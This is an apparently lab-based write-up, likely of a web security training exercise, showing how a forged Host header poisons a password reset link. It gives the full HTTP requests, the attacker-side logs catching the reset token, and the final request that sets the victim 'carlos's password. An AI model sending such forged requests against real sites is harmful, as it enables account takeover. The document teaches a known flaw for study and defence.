Basic password reset poisoning via Host Header

 - 4 min read

Situation

We have a web application with a login and password reset feature. As a user, we can ask the app to send us an email to reset our password, in case we forget it.

What we want to do, is to trick the app into embedding the email with a malicious link that we have control over. Then leverage this to steal any user’s account and locking them out.

Recon

First let’s explore the app. We want to check what happens if we want to reset our own password. So we fire up Burp Suite, go to the “forgot password” page and fill-up the form, then intercept the request after submitting the form. Here’s what we got:

POST /forgot-password HTTP/1.1
Host: target-host.com...
Connection: close

csrf=r2z2cY2gtaTZeth8luJAnZ1IUf6Mj5Ab&username=molamk

We check our mail box, and sure enough we get our password reset email with a regular link:

Sent:     2020-10-18 03:21:59 +0000
From:     no-reply@target-host.com
To:       molamk@malicious-host.com
Subject:  Account recovery

Hello!

Please follow the link below to reset your password.

https://target-host.com/forgot-password?temp-forgot-password-token=anwE3rD06hHZxW0Jpds5gDMgluoyHFwQ
Thanks,
Support team

Strategy

The Host header in the highlighted line is what we’ll focus on. Suppose we control a server on malicious-host.com for example, we want to see if it’s reflected in any part of the response. So we try the same request, we intercept it in Burp and edit the Host header.

POST /forgot-password HTTP/1.1
Host: malicious-host.com...
Connection: close

csrf=r2z2cY2gtaTZeth8luJAnZ1IUf6Mj5Ab&username=molamk

We check our mail box, and there it is. We are able to manipulate the password reset link as shown below:

Sent:     2020-10-18 03:19:09 +0000
From:     no-reply@target-host.com
To:       molamk@malicious-host.com
Subject:  Account recovery

Hello!

Please follow the link below to reset your password.

https://malicious-host.com/forgot-password?temp-forgot-password-token=faiY1Pidohy4Jahj
Thanks,
Support team

While this is good, it’s not enough to properly exploit our finding. Since we control the destination URL, we can set-up a basic logger to see incoming requests on that endpoint. When someone clicks on the link, we’ll have the full URL, which includes the temp-forgot-password-token. So we click ourselves on the link:

2020-10-18 03:29:39 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"
2020-10-18 03:29:39 +0000 "GET /resources/js/labHeader.js HTTP/1.1" 200 "User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"
2020-10-18 03:29:40 +0000 "GET /resources/images/logoAcademyDark.svg HTTP/1.1" 200 "User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"
2020-10-18 03:29:40 +0000 "GET /resources/images/ps-lab-notsolved.svg HTTP/1.1" 200 "User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"
2020-10-18 03:29:45 +0000 "GET /forgot-password?temp-forgot-password-token=faiY1Pidohy4Jahj HTTP/1.1" 404 "User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"2020-10-18 03:29:53 +0000 "POST / HTTP/1.1" 302 "User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"

The highlighted line is what we’re looking for, as we can see the token is faiY1Pidohy4Jahj. So we grab that token, and replace the host with the legitimate one, effectively going to the URL https://target-host.com?forgot-password?temp-forgot-password-token=faiY1Pidohy4Jahj.

We fill out the form and intercept the HTTP call, which give us this request:

POST /forgot-password?temp-forgot-password-token=faiY1Pidohy4Jahj HTTP/1.1Host: target-host.com
...
Connection: close

csrf=r2z2cY2gtaTZeth8luJAnZ1IUf6Mj5Ab&temp-forgot-password-token=faiY1Pidohy4Jahj&new-password-1=hello&new-password-2=hello

Exploit

Now that we have all the pieces, let’s exploit a target going by the handle carlos. So we fire up the password reset request, either from the website on the “forgot password” form, or directly through HTTP POST.

Notice the malicious Host header in which we inject the domain that we control.

POST /forgot-password HTTP/1.1
Host: malicious-host.com...
Connection: close

csrf=POeGUhsNK6xGz5bj8vxxpQMnqt89TNKv&username=carlos

We wait for carlos to click on the password reset link in inbox. And sure enough we get the log entry:

2020-10-18 03:29:39 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"
2020-10-18 03:29:39 +0000 "GET /resources/js/labHeader.js HTTP/1.1" 200 "User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"
2020-10-18 03:29:40 +0000 "GET /resources/images/logoAcademyDark.svg HTTP/1.1" 200 "User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"
2020-10-18 03:29:40 +0000 "GET /resources/images/ps-lab-notsolved.svg HTTP/1.1" 200 "User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"
2020-10-18 03:29:45 +0000 "GET /forgot-password?temp-forgot-password-token=ohjang2MoBidiay4 HTTP/1.1" 404 "User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"2020-10-18 03:29:53 +0000 "POST / HTTP/1.1" 302 "User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"

As we can see, the temp-forgot-password-token in this case is ohjang2MoBidiay4. We grab that and build the URL with the legitimate host, which gives us https://target-host.com?forgot-password?temp-forgot-password-token=ohjang2MoBidiay4. And we send the request to actually reset the password for our target user:

POST /forgot-password?temp-forgot-password-token=ohjang2MoBidiay4 HTTP/1.1Host: target-host.com
...
Connection: close

csrf=r2z2cY2gtaTZeth8luJAnZ1IUf6Mj5Ab&temp-forgot-password-token=ohjang2MoBidiay4&new-password-1=hello&new-password-2=hello

Now we can login as carlos with the password of our own choosing, namely hello.